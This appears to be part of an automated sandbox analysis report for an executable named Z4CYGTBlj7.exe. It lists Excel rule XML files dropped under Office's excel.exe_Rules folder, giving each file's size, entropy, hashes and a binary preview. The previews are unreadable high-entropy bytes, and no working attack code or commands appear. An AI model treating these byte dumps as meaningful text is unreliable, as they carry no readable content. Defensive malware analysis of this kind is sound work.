Preview:	<?xml<....kV.}.X...r.[d/........(.%.F..q.....f...-#C.\|....q.Vix.r[.....H.+M-...5''\|.)....... ..z._6.I.D.3.#\|..G.i.....A.......eBb.iO...?.tO....#.@J....z...R.....VY...z.Q.......0..[.\....v<.Fn.\.)J.=..{..P.....]+,X%..cx..].U...G\^..X6.....b.N.).c...}.D.d.i...y...XWW...&..+.".K4...o.. ..K.%.V...sh......XG...%...2..O.s.s"\.T.<..K...o.... ...0..u~.+.W!%.iF.o.....n.......?../Y.........>...T..`L.c.2)..>%....46.hd.@...7)....\9..>.gjc.sG....!.u}...\...:mn.2.%<...FB...#...... .K.C.;8.A.&?P..S..6QX....#1b}I...\|}......$.r...W.....q........85...l... ..Q.\...&E.Mn.....3.Z.......#.r..........%M.co.'....K..(.x.$@.>B.....+.J...=.%........e.j..-:.....{..x..P........(..f5.).P.................D...(....g..X......~ ..6..\|u.y.#8.....U."n..y....0f.Kh.V..{.....-.@.....Z;~..U.&...%>.~.....D..'.^...1../#..v .1,..,4$.a.F(..f$.I......5.....4....1..........K;...SH....-..TC..._...~.D%r..Tt5..r......E..8...y....g#..Z..n.Ln...srJ..L.U...G)V $'W....`.8..z.?......Y..\.

C:\Users\user\AppData\Local\Microsoft\Office\16.0\excel.exe_Rules\rule180026v2.xml

Download File

Process:	C:\Users\user\Desktop\Z4CYGTBlj7.exe
File Type:	data
Category:	dropped
Size (bytes):	1987
Entropy (8bit):	7.908329135253952
Encrypted:	false
SSDEEP:	48:4h4D9nO1tP6ioBxb+w9SoV4m99B23cZLFlBuzh490xnZa66hZJmD:4aJUiY3+92sgzhAEZa66hZJ+
MD5:	51E9C0B899726B8ECB72AF44684CCEBE
SHA1:	F1807707D8338AFB76160178F42911D37C90C624
SHA-256:	56B5C99974204A2124561A8781A6F5B3AE1642B3841F6FCC5C4675BC0A5F7C91
SHA-512:	05E570531666B6C8F8472F0C3FC1CB3C2E6343DA9EE873D8110746333F94C242A9F1743B32811F4179E5C5C32599668324CBF5948F3D9E92109C2A02612A0565
Malicious:	false
Preview:	<?xml..=G"zcwM,......-.#`#-...+....2T.]...i..6`.........0M.......q..~iC.[{.O...~.on9.d.J././..WK.3H"\...t...P..4.........J.8..N..(.\|..4R...2.&.#....{..U....](Y.[NB.a.n...IQ\.......Dm.J.v.."..]..%...7.... ..."...\......P_.(.........B....cm+..gsU..uWw,RV7.8r..a...<]..^I.~].U....7.GX.)M#..+CV.7..8+.6....z.68"..Z.f.(.oVH..%g..X.~.Dc..\?./..~.1.-.?s.kL...i+..I/...j.._....W..,..<N..X^..A$.H....9.. ...fA......Eu.C.D'5rIm.f...<.....\|}u..&.,I.$...-.....>..hG4a....H.........Dh...z.2n.....xCW.t...1.+X..+x...}_.t....]hf.3.#...-e.........p.y.A...E..p55..Q.^.j..#.....p...GI...ypte.^..;...&P...gC<......C.....&.o. .pj.......u...::..[..v_...!...f..@....f...?H.wC.....'..../.r.@...p.5...R.._..k........w.t9...P..a......\L,..(3...ax...v..#{......Ad.[..}.....9.H.P8...N.^...J.. H.Hltr.j...<.D..sf...o....Z.sh.....]]..!....8J.e.\.g:............8@1P.1H.'.1.. .bN(.r.%&.A2.s.s...~........`.>.5W.YW....=.'wD...?....)........)...NE.`...bKf......P.S.$.e'.".T..U..h$..g

C:\Users\user\AppData\Local\Microsoft\Office\16.0\excel.exe_Rules\rule180027v2.xml

Download File

Process:	C:\Users\user\Desktop\Z4CYGTBlj7.exe
File Type:	data
Category:	dropped
Size (bytes):	3851
Entropy (8bit):	7.952558623463235
Encrypted:	false
SSDEEP:	96:WuTspDK582wxATnoza0MkiadSG0Go2t0IpXLxt+:WuTImwCTolfiYh0ot0I9Lxt+
MD5:	83C8D0A254B4297C704719F067C07012
SHA1:	5CD3EA136DE0CB11DBA5E0E61AF84C0B73E38CA4
SHA-256:	38D19AC12530A070F0FAC239EB88CAFD72C9E563D27636193CBB1A431121FF7B
SHA-512:	5CF69B3130F882C3D4B94A309B0A331336A3DFC0F1C20ADD858AE1028BF05A5798440B3334EE4CC94F150C0C2DFE915C93208F55B455B46E754CF8212C47956B
Malicious:	false
Preview:	<?xmlg...o....E0t.s..L..tTbz..7#..b......A..=U\1"q.<.R......=iW."?P.......T.m..d...@....!..G(}..j.hZ...7...^.p.....0z,.<....m.`.....Z..1Z^,..(u...~s..`...1.C.Dq..XO..:.....\.Lf..4:{..C.1{N..].n....B...}....r....Vv.Y25g.vdo.....0.. ..^..P..1...x.'..D..e...R`..RLs...v6...#..?-z%)?.B...+.Wl..-H.w.......g..cAS..4W9z_k.:e(.^./......JD....b.Gk..tTs.>EK..........2...P.....0m.G..G..}...Q.ME.AQ.......t.\|.9...>c...Qa.}..~.".....b..Le..f...P2F.O3...`."+7.m...w./.\q.%.Q.N.1~<Gx.w..F.....g..j..(.....Y.(h..n@V.W.Aw.n..X..HB..5!.....z.NJ...XQ....kzU.?...l./..\.e...k3...C........./...z;.Kw.....Ke...`_....6,.....".....8k.\..k;^3..l.3....;..HQ.2o(.Us.b..kN1.0.p..N..1l...f..<Er....'........mj...f.o0m.o`.W#.]f'._b" ...C.$.`..Q[..]R2...<..~.P...jl}#.>F..>...r'..s............".....H..g...l..?UG.h._&..&..VM.]..Yn.)....f...`.Fx...S....ld.K...+.9._y...(_"..@7.....im..Y.Jm..2-. G......k..:..\|.U=.]k..1.x.......3\...7..W..7r.J........N59.^..K.t.i.&bI~.bR..Rao.)..u.?.

C:\Users\user\AppData\Local\Microsoft\Office\16.0\excel.exe_Rules\rule180028v1.xml

Download File

Process:	C:\Users\user\Desktop\Z4CYGTBlj7.exe
File Type:	data
Category:	dropped
Size (bytes):	3223
Entropy (8bit):	7.943131118459646
Encrypted:	false
SSDEEP:	48:e7LFtERax6B1BtDA0OLAhFoR3NznHcG/4QvgPV4CDNRYcNDvY/nGmEuoLamD:8L0R3z8pqoTHWP1NayYu3e+
MD5:	62B18DFAD73F32730F29BE17736508B5
SHA1:	ECCF9E96A58EDD53C0F29BE42106C70517518ABA
SHA-256:	E11ACD824EAF1DF74E696090CDCC9410E55383D459D3F7DFDC356696D0EB81EF
SHA-512:	AB2A5799606BF533E6F5DE82A959AC5169FD5738DDDE77A838D6DF05D64ED140697CE947A3031D33FED079503F7A12E0B92949C811128ED660E66BECF14FC9FF
Malicious:	false
Preview:	<?xml...6.....8.n..N'..n.h.@F'...v./4.'X..K.ir..o^p"...C.wk....G.J:/.m...=j[....NG...84;....d...I%.........S.(...YWH.. .\.3..&...vQ.....&Z.GW...pZj......+........M&..9d.=.....I~ '.........,.?.....j.7.-........IV....h.v.ruQ.E.%.T/3......I.1..+l..(_...J........m$k...`..xTo".....e..,..?`..yd.....0.g...Gu.sI..TP...Q...x.1R.9.S....X.:.Tae~..0....3M.....w.g...=.%p..h..i.zm..I..y^.....t...A..5/..D..uu....<{..cU../..A...~>r...w..."vC..M$.E...i..h....)[.?..B+f..N...D....hO3m..._.E...X...h.tL...g..O.?Q.\?(.c'>N,<].6.+....KwQ=.F.j.../...},z.Tc...#.y.....L.6.G]+.}..BSS.=.C...c#.....=..F.[Wn.....i\|_}..(...'.L6.......y;L\|.R...M....4...FG>rI..Ut!^ .=/>..4.w.<.:F...^;...JG....c.OT\|=.31.l1.O.....l....@.u.Q...K/..&..W..d}f...........s..@.,h.....1.K...]...C.3 ........`V.i..#A.v.7...k.t..}..,Wn...S..:S...\|\..2..F.\|.4.@.._..f.Me.`.`....m...........7*.$^J....V.S..uM.+....{\|G.6.y...B.....AL.....E.MO..sB.....:^"......o.e..r..;/;./..5.yP._..+....#!..T

C:\Users\user\AppData\Local\Microsoft\Office\16.0\excel.exe_Rules\rule180029v0.xml

Download File

Process:	C:\Users\user\Desktop\Z4CYGTBlj7.exe
File Type:	data
Category:	dropped
Size (bytes):	1586
Entropy (8bit):	7.869478015488842
Encrypted:	false
SSDEEP:	48:O72Q5AmYWLQ6fZPagS2JibhP8jm4XWJ3TAmD:OKNFWLRfZPVS2QP8jm4038+
MD5:	D2E9F746EBE3D6835691A03EE7E41D0D
SHA1:	835B809984229393C55B28EC730447E34CFCAE6F
SHA-256:	AA7E3D1DA5053D611B1245DB08E978EE3827C07BE97AD6E7CEB9B6BC9D3F72F3
SHA-512:	B4B58F77081E5AC44E417B74047DD84939ED9D1F3E92A51957BE6DAB9ED0B60FA386900F05E3C5E9A50B2A451E9CD8D25BB059C8F93C56473A40C6BCF7E9443D
Malicious:	false
Preview:	<?xml...6..}..zRoH...yqV.:ek....Z.E..0..E...b8b....g.W5.RU..&..B..=}.*.:.6C_...J..t.ni.l....f.....7.%..f{+....g.>.9...S..h..<...7.\|.[....=.N...\,._.a6h....L..B.4I....8.4.T.B.h..>..RL..y=...v.o..$.lE.;......B.......5...m5...p.V.@...k....k....c@Jf.......An...B\|.U..f...DC.{x6...U.K..r.{..;7..-!}.0... ..9~.....gN...:.`.<Y....m2.m....l....RM.....M._.ay.V....&.$s.T...6...5......GeV.N..vZ..Q........4P...Ax]%..a.I.G..b.....l)..+......;E....`.C.[....}...kA........;).Dc.tPj.7......'n.....a...$.}@...$.k..C..&y.,..]....o..........(a...(...?.=..t.G.K[.{....Tj.@..PP>.....j\'.....G..H....~..9.I.n.......R....YU.......#...4..r..(0...Ka!..".Z"...w.......E.#1..t....4.....`..C..W....s.U.)...v...n...E%..?.p....g...QH.ha..4....Ez.,.......}.zh..b.+.{.9..S....^.R{..SW.Z.5........a.L:O....0..X(P..y!.Q....hW.+...wG....`...%......i.\...>.e(C.o..RF..V..b..H.-.N...FH.+K5... U....5j..\|..K....-C....z.i...B/.q.=.{.<`..L.......Y."s....YK.Y...J..V..$.t..X....D..{R...M;

C:\Users\user\AppData\Local\Microsoft\Office\16.0\excel.exe_Rules\rule180030v0.xml

Download File

Process:	C:\Users\user\Desktop\Z4CYGTBlj7.exe
File Type:	data
Category:	dropped
Size (bytes):	1572
Entropy (8bit):	7.847342854809566
Encrypted:	false
SSDEEP:	48:fXvnfTlaD9rZp0sLdoGgOlT2mZ9E4FG/LmD:fX3TAvpJxoG72mDEN+
MD5:	A11EA637FBFE34B984B027C9210D6583
SHA1:	F0EDFA90F04400C3730B702ED15EB141043559B5
SHA-256:	6982C8BEAA8D7FDF35D7703DF771C1A0DFA0D7C9FD6E064DBA654E17A8B70CE2
SHA-512:	AD4E50553981C28AAE4FCD4246A542B3B850273B80AF2B5828CFF4DD6CBBB17905A5D3CD7F2934DC8319C118C43975D24BEF4F4ED0FCC1160883D7E67A041675
Malicious:	false
Preview:	<?xml..%].>...1.6..4E.H.....T..=.:/.w..qw.0:............YBw... ...H%..G.ER.c..b.EcnZK..4...Z3~........jt.E].sU.f..rm.....vd..;>.........=..s.<..@7M....d.@1u.M..\|.....[.F....;...l......6...=......bkL......=\.G.../.b<.....>...6..uD...r\|..(...@....x2..;.D....u..h(......\..e..Q7&w.i..H..H..rj..#..6.....y..i..=.a....4.`.].Tf...."o!...s..O.9.....y..!u.)c... .....C..?../a#d.n;.....~Z.....f..&....U..F....e.j.Q...\|..\..&!q9...9yM...fc.z@/...Py.\..K!$.N.....9f.#oD..z.uM....a...z.6t.u.-...6'.0...>..l.q4..:..Q.f....l.7.>..;o=.-.}.......X....4....N......x1L54...muuL.0p....GA....x.a.1.....?y.m...x9..K..B.O.n..........<V.u..{.v..q.b.e?d.4F..!/..la..E.z...%...L.\|.7v..0.....<.yL4r1.....V.[.-..o....^.Q...5...0.A.U....1.p..H..l.D....X&....vq.N..X.%...{....0./K....o....v...j....n.b...:-..$@=..i......h...3u.:.p........r9:.....b.K`....55\|.?..\......%.....\a.;la.R[ki.z.."$U..l.........J$......;.a.T.....h...yf..a..N..vx5.....P.....B....9/.a..4...)3..v..

C:\Users\user\AppData\Local\Microsoft\Office\16.0\excel.exe_Rules\rule180031v0.xml

Download File

Process:	C:\Users\user\Desktop\Z4CYGTBlj7.exe
File Type:	data
Category:	dropped
Size (bytes):	1978
Entropy (8bit):	7.879901528653995
Encrypted:	false
SSDEEP:	48:aj/g0SZJVX1jXholYe3IjPc7C1vFU/3CQbLORmQBGmD:aj40SFX1jx5z5zI3CmLOxBG+
MD5:	67FE845A5F33570A4BDCF4DC38CACBD2
SHA1:	22050D2B2D6C342203E845F7214FFD7B0BD76D2B
SHA-256:	C66F47EC175D0C4E2563CFC4EBE2C36BE882A16C5E72B381587D3B2EA0AC87E1
SHA-512:	8638AA9CB873DE577F9FAF340A13A66EAD9177AA580903A8DCFC6F39AE513CD460B44BFA2EC8257B73302F7E430DC22E59AD59A266E15046CFFD3184384D9171
Malicious:	false
Preview:	<?xml....;.{....<....L6gK..>.E.\|.L.l..U...X.`.....sq..E..G..wD.\K..-.y.\|$Iu.Dy..b..L..-.<.>.5q.g..............O..,I......F...2....._.?j.R.m.1?........\|.D../1$n.E.g..N~.uYxI..D.zZ.s.Y....,..8...$.U\.....cP..5...o.....J...{..6F...cqj.pB.$....W.w...(.f...{..w %....E\|.M..@......0.'./...[xo...].%.u.E]U...i..6.&-...L? ..&..Fk...\|a..HB\|..f.'9.#..K.Z..dN....ns. ..zj./..=....Z..2%A./.rA..<..K..!......E.8....t.....l..]a@&.B.=,...KD....>.E..,.:.X...@x...s.O..-6]..........l..E......>j..u....&.kR....p..q.....bO..<H.3...B]...I'5A'5..;h...PI.F..=,sM.6."&.+b.2.."3S/..u.@y}.E\|..a..!P...e.sgE.....R....O...DL.1....E..fI....<..,!.\|a...d..!:.b...QF.f....&.....w..+....V.t2.B..e.y.H.g..u.......j..\|J..V%7....3;.$...V.g..................M.p')[b....J.t.O..k..y.B-...j6p........#........e...t>z..?y.x...........a.D.zO..]......;"mCbY.].~.....1..}1*....i..8.vg^.....xT].c.ZY......I......,....:.Be.....S..{Wt.$..m3kg.......#/.4._...s..z1h.l.<`N,.n...1..j9r..o..L...N..o.

C:\Users\user\AppData\Local\Microsoft\Office\16.0\excel.exe_Rules\rule180032v0.xml

Download File

Process:	C:\Users\user\Desktop\Z4CYGTBlj7.exe
File Type:	data
Category:	dropped
Size (bytes):	1658
Entropy (8bit):	7.89009338971801
Encrypted:	false
SSDEEP:	48:RhDKkaXSQmMtTgQ2EJYNzeRmdvDkHvtyU2YN7NmD:TDVuTVioRmQPtFd7N+
MD5:	701EFA02996F8E28A658161CF912A558
SHA1:	C0FB310F1244994B00E38BF81B5D9F9CE6571C0D
SHA-256:	59E925019C5ADEFAC9BAA72459BBF67D0A9DC067687744C74FC3895629735799
SHA-512:	53335EAD712215C049FACC1E829BA2E04D0A7DCF4214EFE00D5C8C9824443479D666ECA584E37ECB43DCB328BEB929F77E316E0DD9DE88816E784FF0CFF58454
Malicious:	false
Preview:	<?xml.eZ. ...2w1.&.7.........E.P.I....Y...<=.CK..HP.y...?..8...9....w.....H.s.If......iv ^...D......L..j...I.t.~..~I(.I.`.!..S......]...W....^q......w......U...:..2.W.....5......w.{..}.TYP..{.F...m..D.db.L.w.M......\..o..8...gjj..[{...m&...g..im..B.../.tN..?.1\...`f.....R...&1Y.C.D...z..wa.......ku..~.s-..&.d?.X.>q...".(.D..W.K.Nd_.6v..Pe....Vw...I......".?._>..y........................J...eP.......P..Ek.bp..w.;$u.....e..]...Y...........i.f..AA.n+.oO...!...Ki&.nH?..^8.Ka.$4....U....qT..3.4Z.6..w.....a.!......{..n.[._h.{..o!:;....u.f.....u.^j.6\|[D.=YbD.!.e..;....8,.....xo.%..N...}.....svf....Cfe.r5..._......T?..'....pL..N.Ux......().M..!.2..$\|..5dB/.....p........<.q.~.....i@..`W.._Es-E..je.l?qd.(....n.....i.%X...d@.y...e..p...;.T...U.Y^ru^...^.....em..'.46V..O...M...(.i ...K.(@H.X.bD.....@a.3.R.....k...F.pe.%..:..&T.5.4..Z....9g.5XF...I..j.+..C..,~p7\.....$Q3.....TRH..SV%.EU^....wS..\.*_p..BK....z...B.\|.....B..SG/..L.

C:\Users\user\AppData\Local\Microsoft\Office\16.0\excel.exe_Rules\rule180034v0.xml

Download File

Process:	C:\Users\user\Desktop\Z4CYGTBlj7.exe
File Type:	data
Category:	dropped
Size (bytes):	1698
Entropy (8bit):	7.887755953896385
Encrypted:	false
SSDEEP:	48:oRj3Stc7bS2+9MLVxsjT9ysPVTcrsjRTIC9y5upmD:Mj3l8MLV+lycVOsl05up+
MD5:	C72B3322496DAEAFF3189FA4F8BF5152
SHA1:	865AF7E12ED77D4BBB9895FE90701E57629523DD
SHA-256:	AA31132871D4EA1948B51E5E826BCFBE5227E00BBEBA5500660874D012E8072C
SHA-512:	DE237CCF6C10ED6F61D424E6F40F290EA5D33E4D99E17096CA4F4393668F7FA246E5336CAF93B5D601096EA837B5DEF94E7E0A6F6CFE454FAF91C75B5E527F08
Malicious:	false
Preview:	<?xml...".....m.....r..U .\|...by. (s.i.J!m.....nC\|....`.....([hBb.}.(.fMf._..w.....z.....$"P'....'sr,.0.n.........$...e..4!uC@\|.s..3.M..u..l...~.l..zEL...GA....R..<.o.O>.."b..;....}..B..&..l...vH...&.N..'..u.!X...^.Cie..5.r..0%..4.......\......`.Mc..........sFZ.....k5t.b..$.,...a..+E.}...y.]e....p...j.FI_Y.....G...b...Wd...T..`..k.=........`H........:.X.C..H.{.W3....Q.. .^3...z.>.....g.w..........gd...................C..................z....e...QT.."......lB/......+..i.\..N.8..^......]&.u...!K.p.....d.Xp.3j.C..9\|...?...&_..8....3&]"L......~$.......`\M..\...Y.T-B.d...T...I;...!./&._.b73...u....Nh..,.Y...,&..`.U....Q.......#..'.....C."=.4....=y.....b..........9(A...w......$a.......@Q.9..z.#:...[.....?..GF.j......._b.oj>gx.....i5....R@..)..Ax..$=l9r.%..(....c>....zy...W....i..K.N.3.&..Q5^.X..!y6.......-.E....&B+.W(.!.9..^L.X....U..:..X(.........V.4...e......slL.l....N.......l..,...q:..v...%.[n..N........V3.j....h.g..3v.MQ.l.U#..

C:\Users\user\AppData\Local\Microsoft\Office\16.0\excel.exe_Rules\rule490028v0.xml

Download File

Process:	C:\Users\user\Desktop\Z4CYGTBlj7.exe
File Type:	data
Category:	dropped
Size (bytes):	1057
Entropy (8bit):	7.794584935858362
Encrypted:	false
SSDEEP:	24:AMM4cMnLVTFWrJNbvvCOdKa0288F1wmHIXCRekCsbD:C4c2LVQVNbvvYaI+wmHURRmD
MD5:	E509C0ED5E7BCD66703C465137C16851
SHA1:	9242E5A2765FE9697401AE832B40B2CB42191952
SHA-256:	17FB263C453280CA4999A05A060066A2E61F88B9DADC53E82922A21946356470
SHA-512:	F7633529908A6B00C2034B8A75CB33284B24967EB1FEB4A4D94D0E6A7C624990D26D0DBC74285AD4E4F8CBA1B859A14A7C458BF768E40BA9AD039C2180D6268E
Malicious:	false
Preview:	<?xml..".U...........<S..<[\K.f.?..h.....s!.M.../X...N.5$."..Ae...{!@.=....'...J....r.T....F.%..-43%...(.0.m.1....g..1.o.....G..+.W.....$.Y(.,:6^...a.r.9h.....Fqc.?P,.u... m...+.0H........-.p .M.k[..1k..GN..m.....m.3Q5h.l..3]t5...6.XI.D...\|o-/.9....=M3......Gu..ScW;....{x.~[../..d,W....<.`..'I5....,...;:..a........G....Sm.?.S.D^.y...!'..].M"Q.I..K.{.hv....s.s(.O.hy)M...x.J).(.$.u......D.p.I.0.s.gNXH.Z...=.bn.<..kE`.A:..@.Y".......d....8Y..........M5...6...=..E.W.%"....z%.f^..f..,Rz...~...."...OlD...b..y:E.0q.'(g."y0.F.)@.&.;.W..r...9.P-.2...)3...x.....m....o.f..;.=..v$8e..4@.......H.j...k.../.../N..g2h\|\."...`.Ah...^-".0...c>........g..18....\|...!B...,....a@...q..f.."VOP....4.%...y.....=.....;v.._.T.\e.^7..J..n..sH.E...........1...'....r..ta.^$.z.:....W#h..66..1T.Q...@r.q^..f3.....Eu,d..#.2.U...Z.].X4...wM....Lg.....l..c....T..[.}&5.5..@P......HUFb..~$...AS...mv_c....o..3X6..x.w..p.!;./\U=.15{3....i3...c.....;H,.K..G....7h....,8Dvoqx3bvfv1GNOXwQLrS

C:\Users\user\AppData\Local\Microsoft\Office\16.0\excel.exe_Rules\rule490029v0.xml

Download File

Process:	C:\Users\user\Desktop\Z4CYGTBlj7.exe
File Type:	data
Category:	dropped
Size (bytes):	766
Entropy (8bit):	7.712648014027188
Encrypted:	false
SSDEEP:	12:ZwKwepz0TEihlp5hQ6a+/QSvVtbcfDU/mzKaV9hLt+uB3MdBCLDG2Qscii9a:awYT5hlpfaIJttQo/mzXLx30CLDG3sbD
MD5:	EF44E8C088C554C22A6D1C101D41D728
SHA1:	54A99C9C5F6A05887A898EC58538BE9D60E5840B
SHA-256:	04C589D0F5331CCB8A324B88EE1DA33695A1A7C9173B411C315FAFA4EE751A00
SHA-512:	AECAF03440B720B88C4CF00F9F844424258C6B5C37C06901E05D3260A0983DAF4BDFFE2B42896EDFC427BC1609CCAE7207A5BA0FE3466D0C203170DEDA184DBC
Malicious:	false
Preview:	<?xmlW.}v!......ws..]D..a..P...x..H....,.@.T..9..xe.$.............@..9..."....m=......H...~..nC..w.s7.....lsh.....e....%g.9km.....}W.....t\..\|..ss......8d....z..n.].p..a..k.y...O.._.4....m........U4c...t7....^....luQ.r.-wHc7..>Y_....a.,0Z.F%..c.3v...6.Clf.-]........%.rW.\|p...q...s.)..>.4.. .X......_..<.....]..F...<)..7.:.U..h.$...X>....G!J.....`RD ;-.b..$(T,....U+.....D..a^Q...7.....X.......}X.._...4.....Rj.0^@U.v.......QY.%..wcv:../.3.czd.v..1.5Y7.p...h...gF{.c.....D..m[...k..C..di.pmi..:..y.p.&5.t1.8..f......z...D./..~j.}.HChr...+..FXu._...G>...8.......]..j..U*.V4P.%...}./;3. "..el.P..e`..`....p...hQ.Ta...0./.On.Ar...kP...s.Tq..Ll...z8Dvoqx3bvfv1GNOXwQLrS9NhK8A5BueudpVlCvCw{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}

C:\Users\user\AppData\Local\Microsoft\Office\16.0\excel.exe_Rules\rule490030v1.xml

Download File

Process:	C:\Users\user\Desktop\Z4CYGTBlj7.exe
File Type:	data
Category:	dropped
Size (bytes):	1037
Entropy (8bit):	7.7811211188856895
Encrypted:	false
SSDEEP:	24:gpf/kKubK8teJAfJBb6aaBpLk0VCtwwvuuRNIiRqYZByMCsbD:uslb7ZJMfg0Qtww3XIiRqYWmD
MD5:	D3E2BC4C5C7C75E8B9D9D1B6339F38EA
SHA1:	CE4990DA730FF446B3F19DA9F8F1F9FE819307F9
SHA-256:	F250EF0854C00FBD886ED4E383A48C241A7BF1817F5B0757B8F35B6ADC4E2ECC
SHA-512:	8EFC347CA6117D3260BEF66E3791E9BF8DF7D4446690787FF77758556AC2C06EF200C4B51E2A9A12E6BE7611F5590F5BB61055B805CDA31ED7C5868540DB8DD3
Malicious:	false
Preview:	<?xml.(....Z...NY..Fz\.b_....X..!o.x}.+.vX.....$s...V.C..po....3iD..%T..b.LM"..I>..... ..yo.#.R.V.T..O..O.Q..;..Mq........tS.~4.=./. .......%).8.....(..........g...K..3.~.2J.A...8.C.%..:.i.1...... ..+jH....Q.3...=...-.<.O..<=E...%...6..."WZ^Nh.X..M.6.*N..E.,..z-..[%..y....s..A.rj6...l..j. .......$.....f......Qs..Q..3.bO....x..MM......3...,.K.g..gN/.......\|..h.]....(..).)...F`@K._B..9\|..h..i......&.W.u....Dy.1.)UI.iXB4.;.U.........h]3...C.,A...E......e..=.r...<...Qag.%\+...z......\^.q%.U.i.../...9........>F.>V..f...uZ.~`bo)..=...j.=8s^v..#...XS.=.G$....JV.. ..d...W\/Y\|....(K.@...b.SX....$8...t..Q....}ZQz..A..u.[...>...<...!^O~.k...m$..} ....~m.hS...8.,HB.u&....y.q\|..Y...G.....0.Q>......q./p.ge..C..d.Z.K..i...X>..p......a....V..1$.A..+..]..'{.!w.au..M.].......+..m...s}....+.(5.@.f~...K>.. 9...'...n.........Gb....;...KT....1}.0hE2h.V..~.....1..M"yM.Z.../.g.......U..G.rOh.....XE.......r...E...8Dvoqx3bvfv1GNOXwQLrS9NhK8A5BueudpVlCvCw{

C:\Users\user\AppData\Local\Microsoft\Office\16.0\excel.exe_Rules\rule490031v0.xml

Download File

Process:	C:\Users\user\Desktop\Z4CYGTBlj7.exe
File Type:	data
Category:	dropped
Size (bytes):	920
Entropy (8bit):	7.756971203924671
Encrypted:	false
SSDEEP:	24:vvD3Ny3kFL5FRlTb5dc/F8awIk6ST1RPfQpJtxHW4ysbD:vkmLfwisS5R36txumD
MD5:	78753753F4A5C30F23D23C13DC32C9E5
SHA1:	63742403CC0620BDC0A5588D6ACD7EC198E1AE73
SHA-256:	8711570C483A01FB54C88EC6256D4643ACABB3A8C3D49F78E3877C7E62F5B943
SHA-512:	ED0CA7DEC9CCAB0863A2FA4BA2A004673299A3CE38AD462DAA6B455F0341DD822839B27311105F613BED30F1372F57132E1D9C7C97E42A12FD1D13CCE1D1317B
Malicious:	false
Preview:	<?xmlR..e>.....m..9.T^.Z...F..g]..L..~.cM.H....D..S...Z.S`Mo.(.6....\|)6s(...q"..}.q...-.a..G.BL.{.. ..!.J..A...+...d..5.fZ....(...3..C ..K.&u...CM....l...)...~.O...?..fEc..Y...N...\..\....Rj....s%.x..X2.cE._.Si.~...l....~.u&.^1.V.N.....S..g?......o.~....\P6..J5...P.b.5+..6E....\|...o3."2....~.G.......A..$S+.GC..t....'....0.&^...-i.y.,Os2..N.B{..t4?..m.....Y.g.=......V....[.<7.84v..Q).Z1k...O..v.........7..-~m....L....y8a.=...&.V[1.r..(O......j.:....(...4....+=..E,..X.......;U.5.o...q.ux....<.Q.m.u...Y....B+R..c..@...U.49.J.. 6K.f2~......_.L..._T.3s..M...AVl.3.9.S.n....M>.0..........9 ....R.o.B.q.u.+.........kSC\|...m..\.....]...j.?jp$D[......z...Y \D..G.Z....%.b.....H...h.O........../.G...>...i....i`.d.&3o.s../.+....O..J.-...u...5.P......@N..g.d.5.-9.rI!-.kJ..4...<....*t..N.M=.......E8Dvoqx3bvfv1GNOXwQLrS9NhK8A5BueudpVlCvCw{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}

C:\Users\user\AppData\Local\Microsoft\Office\16.0\excel.exe_Rules\rule500000v2.xml

Download File

Process:	C:\Users\user\Desktop\Z4CYGTBlj7.exe
File Type:	data
Category:	dropped
Size (bytes):	1147
Entropy (8bit):	7.828907279500479
Encrypted:	false
SSDEEP:	24:ldqVRkeXQ3fsEH53X+lqajuW8Wth2UUm7d3nEERsbD:ldUDAEEUSmtcUJhUYmD
MD5:	E729CE0263E061FFCCB5BDC1F206E8D4
SHA1:	24F5D7001666F7D4893CDBA124B8C6A9773EEB08
SHA-256:	32679A90B866DA1D58E916D4A1C2D05ACDDED6A7C5123044BD2B90F37C6F81DA
SHA-512:	BB4D711515F95E78FB280682E809B74CAF11E72FF0A7DD180DD2932CA5B253535B7E954A2C58CCE662FC21350446F4E112E99DF1B6F8F86AD81DD4FF4527459E
Malicious:	false
Preview:	<?xml.vZ..6..k0.x....2....$.8...M......rps..n.l.Q.wn.UF.G.Q.a=C....=.{4...,pU.8i4.'[.hKn.).W.4..I.....>.@/i...V...,...-.1.Q7T..-V.#..e.......Q\&k\|.\|.[....{..DU..f.P...D=..z].p.?..ce..q...]..t`K.$-.....^..k...eA..~....U.[D.:.z..sE.......uB<.\.3....q....".....=.Z[.@U.u.$#..WY.....[.....]...q..1......}..$.....]3Q..$>5g^...IjS\db...)1%.!h..8..Z..4. .b..H).5..?!..}.IxO.....2.....[.J.-.#].Qt...&Pgy....}}........w..Y"-N.%.'..+8v...a...WV.:+N..S....a.$.............\d.4..[.....e.....n^7..u .G=..G.W.0.Z...h.g=J...y.......DL...o........Z.Rm.h... .QC..`....L...4...~......H..P&."...,.2...Y.....%.1..{mh...A.....W.T......WE....8......9...0...b.......d..Hqu..!.]j..vO.o.........o.[.D.3.q..\|..p..=.....2r\..T.B.a..C.....^..N.>.x...?......l9.B.mGI.B.zJ;...$.\|...(.n.uR.0.{..6..+...[d.../..+....C)...ik..o...."a.D3...u$...<.....,E^.....Zy..@..}.o.33.i.;...b..xl.e.N`..I...;e!'\|.ht....P....G...k+.......n....x.}Mq..(}.HAK....#`Gf..e.72....q...)N.

C:\Users\user\AppData\Local\Microsoft\Office\16.0\excel.exe_Rules\rule500001v2.xml

Download File

Process:	C:\Users\user\Desktop\Z4CYGTBlj7.exe
File Type:	data
Category:	dropped
Size (bytes):	1141
Entropy (8bit):	7.8203570938450335
Encrypted:	false
SSDEEP:	24:PIhrm3GB7rp6iU9NyBBJ19YKxDgr8TJG9EQ3r5dNJsbD:ym2vUKP/9px+8FG9EQ3lDJmD
MD5:	25C77549448073BAF6B5FEF737254D76
SHA1:	6B0BD1D4A5ACE9CFD91ED33FED96595F27E69B3A
SHA-256:	784EC94A51CC565FB50A716F52C33F08AE36FAEE6B7F87CDC61C50B65E34C975
SHA-512:	6C8B644CD1C5406DDFA640FD0F7385ECF69A4450351F7600EE93934107A0C36A8911DCD54DC0A494F871B49EDD7694538483374CE689ABB7AC89B0ACC34393CF
Malicious:	false
